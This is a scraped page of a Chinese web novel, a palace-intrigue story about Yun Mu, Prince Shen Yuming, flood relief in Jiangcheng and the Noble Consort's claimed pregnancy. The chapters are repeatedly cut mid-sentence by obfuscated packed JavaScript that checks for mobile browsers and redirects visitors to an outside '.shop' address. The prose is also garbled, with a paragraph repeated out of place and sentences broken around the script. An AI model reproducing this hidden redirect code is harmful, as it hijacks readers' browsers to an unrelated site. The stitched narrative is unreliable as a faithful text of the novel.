RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632442|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他若真掉进去,沈聿明大概也不许旁人来救,他不想死!不甘中有带了恨意,太子来的这一个月,礼贤下士,他收了不少好处。沈聿明一来,不是把他的人丢去挖河道就是让人出钱出粮,当真以为他们是软柿子好捏吗? 把人吓唬得差不多了,沈聿明扯着衣领把人提起:“本王只是不喜欢事事被人约束,方才不过是同你说笑,知府可莫要放在心上。” 才松手,就见知府瘫软在地,双手撑在地上不住地往后挪,双眼不时在井口和沈聿明之间来回切换。 解决了两桩大事,沈聿明却也不敢松懈,他抬头望天。 天空没有一点云彩,空气里满是灼热的气息,按照云暮的说法,再过半个月又是暴雨。 因上中游截下了不少水,是以只有江城山多土软,一遇暴雨就易发山洪,沈聿明继续让他们疏通河道也是为了之后着想。 “来人,备马。” 沈聿明带着一行人登上山顶,俯视漳渠。 漳渠位于漳城,是河道之源,暴雨之后,水面快与堤坝齐平。 河工指着泄水口道:“王爷,前面这条大江直通大海,近日都是从这出泄水。” 他哀叹了一声:“但这条江却不经下游,下游的人总说无水灌田,庄稼都长不好,但江城的河道未通,一旦开闸,整个江城都要被水淹没。” 沈聿明看着略微有些弯曲的堤坝,也知事态紧急,“为何不将这面的闸门再开大些?” 河工连忙摆手:“王爷,万万不可,别看它河道广阔平直,但再往下,河道就缩了一半,周围也有不少村落,这闸门只能开这些,再大些就会把他们的房屋庄稼都冲走了。” 沈聿明揉了揉额角,“本王会尽快让江城把河道疏好。” 知府终于赶到了山顶,他半死不活地行了一礼:“下官见过王爷。” 沈聿明抬了抬手:“起来吧,本王这几日夜观天象,半个月后还会要大雨,你这些时日尽快把附近的人转移。” 第九十四章 贵妃有孕 云暮正用着早膳,安叔拿着一封信走了进来,“大人,这是王爷送来的信。” 云暮把手中的包子一股脑地塞进嘴里,嚼吧了两下,就着茶水咽下,随意擦了两下手:“快拿来!” 他才到江城没几日,要做之事可谓不少,云暮不想他分心,想着过几日再写封信问问情况,结果沈聿明的信先来了。 一旁的十五听到王爷这两个字,立马从虞字上下来,噔噔噔地跑到云暮身边,探头探脑地看着信。念了大半年书,只要不是太难的词,他都能看懂。 云暮大致扫了一眼,写的是江城如今的现状和沈聿明如何让顾老爷把吞的粮吐出,便由着十五看了。 第二张纸不过寥寥几语,云暮一眼就看见前头“离思相萦”四字,她的心跳停止了一瞬,再往下看,终于松了一口气,还好他没有昏了头。 忽而听闻耳边有抽泣声,云暮转头一看,发现是十五正抽着鼻子抹着泪,她惊诧道:“十五,你怎么了?” 十五指着信说道:“大人,他们好可怜啊,吃不饱还要干活,王爷是不是也吃不饱?咱们家还有没有余粮,不如给王爷送一些去,呜呜呜,十五不要王爷被饿死。” 十五越说越伤心。 云暮被他的话逗乐了:“十五,王爷去了,那些人不会饿肚子了。” 她指着其中一行字道:“你看,王爷不是说了吗,这个人把粮食给王爷了,今儿早上就能吃上饱饭了。” 十五认真看了一眼,用力地点了点头,“大人,他们是被人抢了粮食吗?” 想起那三万石粮,云暮嘴角的笑意瞬间收住,但十五还小,她不愿他知道太多,便说道:“下雨太大,他们的粮食都被水淹了,什么都没有了。” 十五长这么大还没见过洪水,他懵懵懂懂地点了点头,“那我们送些糕点给王爷吧,他连米都没有了,一定饿坏了,十五的癞蛤蟆馒头也都给王爷。” 云暮笑着捏了捏十五的脸:“馒头是你的心头好,你也舍得?” 十五嗯了一声,用力点头:“王爷对十五好,十五喜欢王爷。” 而后他抓住云暮的小臂晃了晃:“不过十五最喜欢大人!” 云暮拍了拍他的头,把他往安叔的方向推:“那十五和安叔去给王爷准备好不好?” 花厅只剩下云暮一人,她思考了许久,最后把信连同信封一同烧毁,她不时地转动着手腕,好似袖口下塞了一块滚烫的炭火。 “皇上,臣昨夜观星,东方祥云缭绕,帝泽广被,后宫沐皇恩,又以东南方向的启明星光芒最盛,臣斗胆猜测,后宫东南方向的宫殿中,必有娘娘怀有龙种。” 云暮眯着眼打量着副监,对于是谁有孕,她心里已经有了答案。 梁文帝猛地站起,但因站得太快双眼有些发黑,云暮偏头示意黄如海上前扶住。 梁文帝正闭着眼,还当是云暮,一把握住来人的手,在搭上的那一刻,他又收回了手,将双手撑在桌上,缓缓睁开双眼。 “当真?” 钦天监副监道:“皇上,臣不敢妄言,今日监正尚在观星,便着臣来告知。” 梁文帝喜不自胜:“黄如海,去查,朕记得贵妃的寝宫也在东南,先让太医去长乐宫一趟。” “是。” 如今的梁文帝已经年过半百,后宫久未有妃嫔怀有身孕,当下激动得坐都坐不住,他走向云暮:“云卿,当年朕做了错事,这几年诞下的皇儿无一个能平安长大,如今上天终于肯原谅朕了。” 他指的是当年磋磨她之事,云暮避开他的手,瞥了一眼副监,“皇上是真龙天子,何错之有?” 梁文帝这才记起还有一个人在,他咳了一声,半威胁地扫了一眼副监。 副监不知他们的对话是何意,头又低了几分,努力把自己缩进角落。 很快,黄如海就带着太医回来了,“恭喜皇上,贺喜皇上,贵妃娘娘方才诊出了喜脉!” “果真?” 太医拱手道:“皇上,千真万确,贵妃娘娘腹中的胎儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632443|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已有两个月。” 梁文帝一直拿在手中的翡翠念珠在手心甩了甩:“摆驾长乐宫。” 当上中郎将后,云暮再也没踏进过长乐宫,她不着痕迹地打量着周遭,发现和两年前相比,长乐宫的陈设简洁了不少。 贵妃正要蹲下行礼,就被梁文帝拦住:“你如今有孕,莫行这些虚礼了。” 贵妃柔柔一笑,身上的锋芒尽收,唯余母爱,“皇上是一国之君,臣妾不敢恃宠生娇,否则腹中的孩儿有样学样,臣妾的罪过可就大了。” 她轻抚着平坦的小腹,嗔道:“皇上,臣妾还想等着胎象稳定后再同您说,您怎么就知道了?可是长乐宫有人拿此事去和皇上讨赏了?” 梁文帝正牵着贵妃往里走,闻言,捏了捏她的鼻尖:“非也,是钦天监观星所推,朕想着你前段时间才侍过寝,就先派太医来了长乐宫,没想到竟误打误撞知晓了爱妃的秘密。” “难怪你借口生病,让敬事房的人撤了你的绿头牌。” 当着一众宫人的面说着侍寝之事,在场之人除了云暮都垂头假装不知,但通红的耳朵却暴露了他 们的想法。 贵妃在梁文帝面前,脸皮薄得很,她跺了两下脚,双手握拳轻轻在他的胸口捶了两下:“皇上!你再说,臣妾可就要恼了!” 声音婉转,又有几分小孩心性,梁文帝哈哈大笑,捏了捏她的腰身,“羞什么?” 两人当众调情,云暮则一直盯着贵妃的肚子,可惜什么也看不出。梁文帝之前被米囊花掏空了身体,之后也并未清心寡欲,按理说不会让女子有孕,贵妃是怎么一回事? 她此刻无比想念季川,若季川在场,就能一眼看出贵妃是否有孕了。 贵妃若有所感地回头,看见云暮的神情,她虚虚地护住肚子:“云大人,怎么一直盯着本宫的肚子看?” 云暮垂眼道:“娘娘有孕在身,微臣自然得仔细看护。” 贵妃轻哼了一声,“还当是云大人对本宫腹中的龙胎有意见呢。” 第九十五章 回信 云暮笑道:“娘娘说笑了,您延续大梁血脉,功不可没,且金星光芒大盛,皇上对娘娘这胎甚是看重,微臣自当是为皇上和您高兴。” 梁文帝轻点了他两下:“油嘴滑舌。” 贵妃才刚坐定,就捂着脑袋,神情有些难受,梁文帝急道:“来人,宣太医。” 又转而看向贵妃:“爱妃,你没事吧?” 贵妃晃了两下脑袋,“无碍,许是方才在日头下站久了,中了暑气,皇上,不用宣太医了,云大人的医术与院使不相上下,不如让他给臣妾看看?” 梁文帝拍了一下脑袋:“瞧朕一着急就给忘了,云卿,给贵妃看看。” 这正合云暮之意,但这是偶然吗?她压下狐疑,从红袖手中接过帕子,盖在贵妃的腕上,才将手搭了上去。 滑脉动若滚珠,乃有孕之兆,云暮眉尾往上提了提,才换了一个位置号脉,却依旧脉象平稳,她抬眼,撞上了贵妃似笑非笑双眼。 “本宫的身子如何?” 云暮更加确信贵妃是故意为之,她收回手,指着屋内的冰盆说道:“如今已经入夏,娘娘方才在外头等候皇上,因殿内加了冰盆,一冷一热交替,就易头晕,娘娘若是再从外头回来,可先让下人撤了冰盆,过上小半个时辰再用冰盆。” 贵妃本就怕热,冰盆更是从初夏用到秋天,要撤了冰盆无异于要她的命,看着云暮严肃之色,她一时分不清对方是看穿了伪装故意整她还是她真的体虚。 梁文帝一听,食指指着屋里冒着冷气的冰盆道:“把这些撤下去,晚些时候再拿上来。” 一盆盆冷意森森的冰被抬了下去,热风一卷,带走了空气里的最后几丝冷意。 贵妃才拿起圆扇,又在梁文帝不同意的眼神中,递给了身旁的红袖。在梁文帝面前,人一向是模仿着那个人,从不敢当着他的面惩罚宫人,更别提用扇子砸人,她深吸了一口气,告诫自己不要轻举妄动,免得坏了计划。 一样样赏赐如流水般送到长乐宫,不多时,皇后也来了。 “听闻妹妹有孕,本宫特意来瞧瞧。” 她的视线在贵妃的脸上停留了一会儿,才继续道:“本宫观贵妃面色有些倦怠,许是后宫之事太过繁杂,皇上,不若让贵妃安心养胎,臣妾同四妃一同协力后宫也是使得。” 好不容易才把权力握在手中,贵妃怎舍得轻易让出去,“劳皇后娘娘关心,臣妾不过是中了暑气,并无大碍,歇一会儿便可大好。” 又对梁文帝撒娇:“皇上,再不给臣妾一些事做,臣妾怕是要无聊死了。” 只要贵妃要的不是皇后之位,如今的她说什么梁文帝都应下,“无事,待月份大些再让四妃协助即可,既闲不住,就都依你吧,朕只有一个要求,那就是得以腹中的龙种为重。” 贵妃挑衅地冲皇后勾了勾嘴角,“臣妾知晓。” 在宫里待了大半日,有大半时间都在长乐宫,直到下值,云暮仍觉得耳边充斥着贵妃的声音。 她甩了甩脑袋,抬步往云府走去,才进门就被十五引到花厅,桌上的食盒大到一个能顶两个,“这是……” 十五骄傲地抬头叉腰,“这是十五和安叔特意为王爷准备的,都是王爷平日里爱吃的东西!有醉鹅、卤牛肉、桂花糕……” 他掰着手指认真地数着,云暮哭笑不得,“如今天气渐热,卤肉之类的怕是会放坏。” 十五遗憾地“啊”了一声,“那怎么办,王爷吃不到了吗?” 云暮沉思了片刻,让砚石去取了几个食盒来,“上头装东西,下头放上冰,每到一个驿站就换一次冰,撑上一天一夜不是问题。” 将盖了印章的信一同放入其中后,云暮把食盒递给砚石:“趁着还未宵禁,把东西送至成为的长亭,把东西交给那里的人即可。” 算了一下时日,沈聿明应该要劝百姓举家搬迁,云暮怕太子对他下手,和钟叔商量了一番,决定暗中派一些人去江城助他。 “王爷,他们还是不肯搬走,况且就算降大雨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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人话音才落,沈聿明就已经出现在了正厅,迫不及待地打开食盒,今早的一碗稀饭陪着他奔波一日,已经消耗殆尽,此刻腹中的饥饿被面前的食物唤醒。 他拿起一块糕点直接塞入口中,一手抠下粘在盖子上的信。 入目第一句便是“贵妃有孕”四字,沈聿明差点没噎死过去。 第九十六章 赠君香囊 倒水的倒水,拍背的拍背,沈聿明咕咚喝下终于缓了过来。 他反反复复把那几个字看了又看,这才确信他没有眼花。老东西都一把年纪了,还这么龙精虎壮? 他又接着往下看,第一张是朝堂后宫之事,云暮对她的事只寥寥提了一句,“我们的人在哪个客栈?明日本王要见他们。” 他不是不信云暮,他知云暮这是不想让他分心。 紧接着看向第二张。 “小儿阅信心焦,甚念王爷,恐王爷衣带渐宽人憔悴,特备王爷欢喜之糕点,望君努力加餐。” 沈聿明把纸翻至背面,又拿蜡烛烘烤,纸上还是没有再出现只言片语。 他紧咬牙关,气得眼尾有些发红,好她个云暮,他一腔真心付之纸上,满心期待了一日一夜,结果她净写了旁人之事! 沈聿明暗想,距离一远,人心也跟着远了,他得尽快解决江城之事,回京同云暮讨要说法! 愤愤地往口中塞了一块桂花糕,他打开了另一个食盒,先是往盖子上看了一眼,见并无信件,心里越发委屈,将食盒往外推了推:“拿出去和弟兄们分了,本王不吃了!” 方才还好端端的,现在怎么突然就发了脾气?文竹摸不着头脑,但还是咧着嘴将东西拿了出去,这几日日日清粥淡饭,嘴里都要淡出鸟来了。 将食盒里的东西都拿了出来之后,文竹发现底下竟然还有一封信,信封上写着“王爷亲启”四字,字迹像是云暮的,里头鼓囊囊的,看着倒像是一个香囊。 “王爷,还有封信!” 沈聿明黯淡无光的双眼瞬间变亮,但他矜持地伸出手,“拿来。” 正欲拆开信封,见文竹眼巴巴地看着,沈聿明挥了两下手:“还不快去吃,否则本王反悔了,你就只能闻空盘了。” 文竹一步三回头,就连衣角都透着恋恋不舍。在大梁,除非对人存了爱慕,否则香囊是不能随意赠送的。 沈聿明生得好,即便是在涿州当山匪,依旧有人托媒婆上山提亲,若他愿下山入赘,可将苍山上的人一同带下安置,若不愿入赘,姑娘也可来苍山住。但沈聿明都拒绝了,且不许人再放媒婆上山。 这么多年,也就云暮入了他的眼,便是翻墙都要进云府。原先文竹还当他是想借此见到皇上,认回身份,但后来封王建府后,他还是三天两头往云府跑,十天有七天宿在云府,在王府找不到主子时,去云府找就对了。 文竹作为他的得力干将,替他打探过不少消息,自然也听说了许多轶事,他越发觉得自家王爷和云大人的私交有些过密,越怀疑两人不对劲。 直至香囊出现,他目光复杂地看了一眼雀跃的沈聿明,接过对方砸来的杯子后,终于把门关上了。 待人走后,沈聿明终于打开信封,哼哼了两声,“还算有心。” 香囊落到手中,在一股清淡的药草香中,他还闻到了云暮身上常有的竹香。 “人们常道,相思本是无凭语,莫向花笺费泪行1,然双丝网中心结万千。今始见信,恍与君重逢。风于园中平地生,月于柳梢圆缺挂,对景怀人,心觉怅然。” “惊记江南多蚊虫蚁鼠,故赠香囊一枚,望君康健。” 沈聿明捏着香囊,推开了窗,抬头望着天上的月,还未到月中,弯弯的月亮高悬于空,喃喃低语。 而远在京城的云暮也正好躺在院中,望着弯月低声道:“此时相望不相闻,愿逐月华流照君2。” 直至夜半,树上的水珠滴落到手臂上,云暮恍然惊醒,她半睁着眼往房中走去,迷迷糊糊地走到床边,卷着被子再次沉沉睡去,一夜好梦。 摘星阁上下,几百号工匠额上的汗糊住了眼睛才抽空抬手将其抹去,而后又重复着手上的动作,身上的赤膊短打上衣被汗水浸湿,双手一拧,水便哗哗地往下淌。 云暮站在最底层,抬头望去,入目的就是一段段自顶上垂落的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632445|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红布,红布上满是金墨所书的符文,字迹凌乱却不失美感,还隐隐透出些庄严。 这些符文都出自护国寺的空明大师之手,摘星阁动工之前,梁文帝亲赴护国寺所求,空明大师掐指算了半天,道:“摘星阁劳民伤财,又强征民地,惹了众怒,这几年都不宜动工,皇上不如将此事暂缓,待黄道吉日再建亦不迟。” 梁文帝苦摘星阁久矣,怎会轻易言弃?威胁其必须写符文保下摘星阁,否则就将护国寺夷为平地,而后愤然回宫。 云暮还记得那日空明大师的神情,似悲悯,又似期待…… 摘星阁动工前一日,符文还是送到了勤政殿,并附话:“符文由圣上亲挂,挂上后不可轻动,摘星阁完工之日,再由圣上亲自揭开,摘星阁才可无虞。” 梁文帝在京城万民的见证下,连夜将符文挂上,云暮还记得那晚的风声猎猎,几条红布在风中如群魔乱舞。 云暮想起空明的期待,他在期待皇上放弃此念,还是期待有人背着皇上揭开符文? 她的手和符文只隔了三尺,只要再往前一步,轻轻揭开一个角,便可查验空明话中的真伪,但她最后还是收回了手。 她虽不敬神明,但也不想旁人因此殒命。 昨天她不是在宫中,就是在布政坊,又给沈聿明挑了几个亲信,甚至都抽不出来摘星阁,她叫来监工:“昨日可有异常之事?” 监工疯狂摆手:“大人,下官一直盯着呢,什么事都没有发生。” 云暮看向红布:“这符文,也没有人动过吧?” 监工擦了擦汗,“皇上和大人三令五申,就算是吃了熊心豹子胆,也不敢轻易动啊。” 的一碗稀饭陪着他奔波一日,已经消耗殆尽,此刻腹中的饥饿被面前的食物唤醒。 他拿起一块糕点直接塞入口中,一手抠下粘在盖子上的信。 入目第一句便是“贵妃有孕”四字,沈聿明差点没噎死过去。 第九十七章 吓退媒人 江南,药王谷。 同在江南,但药王谷一带的地势比旁的要高上不少,石山林立,便是再下半个月的大雨,亦不会有影响。 从京城回来后,季川被人围观了好几日,话里话外都是在打探云暮之事,有看着他们长大的邻居、好事的大爷大妈、云暮曾经的红颜知己,还有一些妄图让云暮看在同乡的份上,在官场上拉他们一把的人。 季川同谁都打着马虎眼,原想过几天后就会消停,谁知云暮之事是消停了,但他的事却找上门了,今日亦是如此。 媒婆茹娘再次再外叩门,“小季大夫,我是茹娘,小季大夫可在家?” 季川手中的簸箕被突然出声的茹娘吓得惊落在地,里头的药材洒落了一地,茹娘耳尖,听到声音后,门拍得更加起劲了,嘴里也不住地喊着季川的名字。 这十里八乡,她就找不出比季川和云暮两兄弟的样貌品行更好之人,若是云暮还在此处当大夫,她小叔的两个女儿的婚事都不用愁了,可偏偏他却去宫里当了太监!还成了人人喊打的贼人,不过好在还有一个季川在,至于季川选的谁,这就又不得她了。 季川往里躲了躲,才想起四周的门栏已经被他建高,人们从外头看不见内里的情形。他飞速将草药捡起,而后背起竹篓悄悄地从后门溜了出去。等茹娘反应过来,季川已经到了山脚。 他长长地吐了口气。 茹娘从前每隔几日就登门,一开始还只是平常的寻医问诊,到后来就开始打听他是否有意中人,此后日日前来叩门,就为了给他和她那两个侄女说亲,烦不胜烦。 他只能往山里躲,要么在自家山头的草药园里做事,要么进山采些草药打发时间,待日暮西沉时,才背着草药归家。 也不知之前朝廷派来的人查到了什么,他回来的这几个月都没再见过黑疙瘩,也打听不出此物的下落,秉着多一事不如少一事的原则,他也没有写信去问云暮。 在山脚徘徊了片刻,最后还是抬步往深山里走去,他记得在悬崖边上长了一株幻心草,算算时日,也该长好了。 悬崖似是被剑直直劈开,崖面高陡,崖下云雾瘴气缭绕,深不见底。 季川右手扒着崖边的一块大石,左手勉力往下,但也只堪堪触到叶片,一块碎石从他身边滚下,不知到了何处。 季川不敢再冒险,他从竹篓里拿出两根长绳,一根栓着竹篓将其挂在幻心草下,一根则圈住幻心草将其往上带。 不远处杂草被一双手拨开,脚下干枯的落叶被踩得沙沙作响,季川耳尖一动,屏息敛声听了片刻,飞快得把草和竹篓收起,缩在了大石的后面。 季川握着那把有些锈了的镰刀,警惕地盯着前方,就在来人站在大石旁时,季川拿着镰刀朝对方扑去。 “宋参事?怎么是你?” 如今的宋枫相较于刚出京城时的他,已经褪下了一身尖刺。 “季川?你怎么在此处?” 季川尴尬一笑,将镰刀丢了回去,暗自庆幸没有将宋枫划破皮,他踢了踢竹篓:“来采药,你怎么来江南了?可是师弟出了何事?” 宋枫这几个月都一直刻意地把人忘掉,但又一直往着药王谷的方向而来,季川这一问,那些有关云暮的记忆又如潮水将他紧紧裹在其中。 他摇摇头,故作轻松地耸了耸肩:“大人想来一切都好,还有,如今我已经不是参事了,你同大人一样,唤我宋枫即可。” 季川不动声色地扫着宋枫,在京城的那些时日,他算是看明白了,宋枫和沈聿明对云暮都不一般,尤其是沈聿明。对方死缠烂打,又争又抢,偏他的好师弟也纵着对方。 宋枫这般失魂落魄,这是小心思被发现,然后云暮将其逐出了京? 他这师弟狠起来连他这个师兄都怕,如今也只能同情地拍了拍宋枫的肩,“既然来了,就在药王谷住些时日吧,不过我还要去采草药,你可要随我一道?” 他乡遇故人,宋枫无可无不可,跟在季川身后,对方拔什么他也跟着拔什么。 很快,竹篓就被塞得满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632446|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满当当,季川依依不舍地看着往山上看。 一路回去,季川每遇到一个相识之人,就要同他们介绍一次宋枫,临到药王谷前,他突然停下脚,道:“可能会有一些热心肠的人,你莫要拔剑。” 宋枫点了点头。 茹娘一直在附近守着,一见到季川就冲了出来,还没等她靠近,宋枫就抽出剑,挡在了季川的面前。 剑尖直逼茹娘咽喉,她方才若是没收住脚,此刻已经去阎王殿重新投胎了。 她结结巴巴地道:“这位壮士,你这是何意?” 宋枫不语,把人逼退了好几步。 身后的季川见茹娘被吓得差不多了,才出来打圆场,“宋公子,她是村子里的一个婶子,不是牢中的死囚,还请手下留情。” 剑身入鞘,茹娘的心还在狂跳,季川笑眯眯地说道:“茹姨,这是我在京城交的朋友。平日里专门审讯犯人,这把剑下不知杀了多少死囚。” “先前卢家和王爷被抄,他都去了,听说地上的血刷了一夜才堪堪洗净。正巧今日他路过,顺道来看看我,你找我有 何事,我们进家里来聊。” 这些话,真假参半,但用来唬这些乡野村妇也够了。 茹娘越听,双腿就越软,看着宋枫凶神恶煞之相,哪里还敢进去,她急忙摆手,不住后退,生怕季川把她给拽进去,头也不回地跑了,“无事无事,姨就先走了。” 季川狡黠一笑,拍了拍宋枫的肩:“多谢了!” 见他有条不紊地分着草药,就算是晒干的药材,他不过一闻就能准确地把它们放进药柜。 季川啧啧了两声,抱臂倚在门边看他:“都认得,你学过?” 宋枫犹豫了片刻,点了点头:“大人身体不好,尤其冬日,所以跟他学了一些,也认得些药材。” 他的好师弟把人调教得真不错。 季川问道:“你想好要去何处了吗?” 宋枫摇摇头:“走一步是一步,可能要往南走吧。” 第九十八章 互通消息 香囊放在枕边,沈聿明一觉到天明,才换上衣服,就迫不及待地将香囊挂于腰间,和腰间那枚祥云玉佩相得映彰。 每见到一个人,他都要拨一拨腰间的香囊,起初他们都不知这是何意,一个个面面相觑,直到文竹拿着早饭推门而入。 “王爷,这香囊真别致,很衬王爷的气质。” 沈聿明满意地点了点头,真不愧是一直跟着他的人,就是比这些人有眼力见,他扫过众人空荡荡的腰间,又拨了一下香囊:“怎么,从来没有人给你们送过香囊吗?” 文竹:…… 其余人:…… 此刻的沈聿明像极了一只花孔雀,文竹恶寒地抖了抖手臂上的鸡皮疙瘩,语气毫无波澜:“王爷,确实没有,该用早膳了。” 沈聿明心情大好,就连稀饭都多用了一碗。 出门后,他往左拐去,大步流星地进了太子的院子。 太子正用着早膳,见人来有些惊讶,他抬头看天,辰时二刻,没错啊,平日里这个时间,沈聿明已经出去了,今儿这是太阳打西边出来了? 他指了指空椅:“坐下一起?” 沈聿明扫了一眼,他那边的稀饭咸菜和这边的根本比不了,不过他不是重口欲之人,在云暮面前装一装博眼球,在外面只要饿不死就行,于是他拒绝了太子:“不用了,臣弟已经用过了。” 他就站在太子的身边,一句话都不说,只拨动着腰间的香囊。 太子纳闷地咬了一口包子,心想,这人是来看他用膳的不成?将口中的东西咽下之后,抬头看了他一眼,入眼的就是一个针脚细密的香囊,他前几日有佩香囊吗? 他随口夸了一句:“你这香囊看起来不错。” “那是,皇兄眼光真不错。” 沈聿明对太子的好感度默默上升了一个点,他拍了拍香囊,终于肯坐下了。 这几日两人常常见面,前几日还一同做了不少事,太子对他倒也没有从前那般仇视,此刻观他表情,突然生出兄长对弟弟的关爱之心。 问道:“这是哪家小姐所赠?” 沈聿明瞬间冷静,他摸了摸香囊,目露怀念,说道:“非也,这是故人所赠,如今如是人非,唯有香囊依旧。” 还当能套出话,结果是个无用的,沈聿明的故人,无非就是当年冷宫的那个废妃,太子觉得没意思得紧,“人虽不在,但还能睹物思人,皇弟切莫伤怀。” 擦了擦不存在的眼泪,沈聿明看向太子的腰间,看着上面的香囊问道:“皇兄,你的香囊是崔五小姐所赠吗?” 太子捞起香囊,眼中有过一瞬柔光:“非也。” 只两个字,便没有再说。 沈聿明收回打量,正色道:“今儿一早,臣弟的人送来了一个消息。” 他话音才落,门外响起声音:“王爷。” 见来人面露难色,太子便知是京城来信,“无妨,给顾便是。” 纸上的字和沈聿明所说之话重合在一起:“贵妃有孕。” 太子不知梁文帝曾染上米囊花一事,对此倒是没有太大的波澜,只是好胃口也全无,轻飘飘的字条被人随意丢在桌上:“父皇还真是老当益壮啊。” 后宫争宠不断,这胎能不能平安生下尚未可知,就算是个皇子,十几年后,即便他们的父皇还健在,但一个初入朝堂的皇子,怎么能跟他们比? 对他们来说,这一胎的威胁还不如梁承熙来得大。 他们两个如今都不在朝中,其余皇子最大的也不过十三四岁,若贵妃再趁机吹吹耳旁风,等他们回去,朝中恐怕半边天都要变了。 太子突然有些急了,“江城之事何时能了?” 沈聿明摇头:“难,十日后还有大雨,如今漳渠已经自顾不暇,江城的河道最迟也要十日才能通好,而下游开闸放水的呼声不止,如今最要紧的便是劝百姓搬离此地,否则后患无穷。” 太子显然也不认同他的话,“昨夜孤也夜观天象,却不见皇弟所说之星象,你为何这般笃定?谁告知于你?” 沈聿明只拨弄字条不语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632447|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太子猜测道:“你与钦天监并不相识,朝中与你交好的孤也只能想到一个云暮,只是他何时学会了观星象?” 沈聿明神色未变,就连手上把玩字条的动作也未停,“皇兄,臣弟常年在外,风餐露宿,学会观星辩天也是正常,如今当务之急是如何劝说百姓搬离。” 太子没发现任何异样,只能遗憾地移开目光,手指在桌上轻点:“你容孤想想。” …… 云暮在监工担忧的眼神中,再往上登了半层楼,工匠拿着锤子叮叮当当,精妙的榫卯结构将木材紧紧贴合在一起。 临走前,她深深地看了一眼红布,却不知在一处不起眼的角落,也有一个人正死死地盯着红布。 “好好盯着他们,莫要出现半点纰漏,摘星阁建成,赏赐少不了。” 监工笑道:“多谢大人提点。” 他招手叫来几个人:“都盯着些,尤其是红布,若是被人掀了,本监工就先问你们的罪。” 才到门口,砚石就牵来了马:“大人,要去何处?” 云暮本 想说出护国寺,但最后还是道:“布政坊吧,那件事查得怎么样了?” 砚石有些羞愧:“大人,能查到的都是卷宗上的东西,除此之外,便再无其他。” 一个人但凡生活过,都会留下痕迹,怎地一涉及贵妃之事,便什么都查不出,这才是最奇怪之处。 “从李天那边入手也查不出?” 砚石也觉得奇怪,“小的带砚清他们就差把李天住的地翻过来了,什么异常的地方都没有发现。 且京兆尹负责登记造册之人已经换了数批人,如今当值的都是今年春天刚来的的新人。 而那个卖给他们房子的人也已经举家搬迁,听说是去晋城那边投靠亲戚去了。 如今已经过去了这么多年,街坊也都不确定他们是否真的去了晋城,不过属下已经派人去查了。” 这法子虽笨,但如今情况不明,也只能如此,除非李天能够开口。 第九十九章 算盘落空 “皇上,云大人医术高超,不如您忍痛割爱,把他赐给臣妾一段时间如何?” 贵妃摸了摸微微隆起的腹部,语气里是止不住的害怕,“臣妾实在害怕……” 哪怕点到自己的名字,云暮还是无动于衷,垂头站在梁文帝身侧,一言不发。 换做其他人,梁文帝早就一口应下了,但让云暮一个金吾卫上将军给贵妃当太医,传出去这让人如何看他?况且他有私心,并不喜云暮同后妃交往太多。 “云卿有公务在身,多有不便,你若担忧,朕便让院使日日来为你诊脉。” 意料之中的拒绝,贵妃的本意也不是要云暮,她顺着台阶下,道出了最终目的:“后妃长久未有人怀孕生子,臣妾着实害怕,皇上,不如让皇后娘娘一同照看臣妾这一胎,直至生产。” 后宫每有妃子怀孕,不过五个月,都会滑胎,但查来查去都是出于意外,这话不免有给皇后定罪之嫌,贵妃解释道:“若有人想毒害臣妾,有皇后娘娘在,对方想来也会顾及一二。” 云暮幸灾乐祸地扫了贵妃一眼,对方怕是要竹篮打水一场空了。 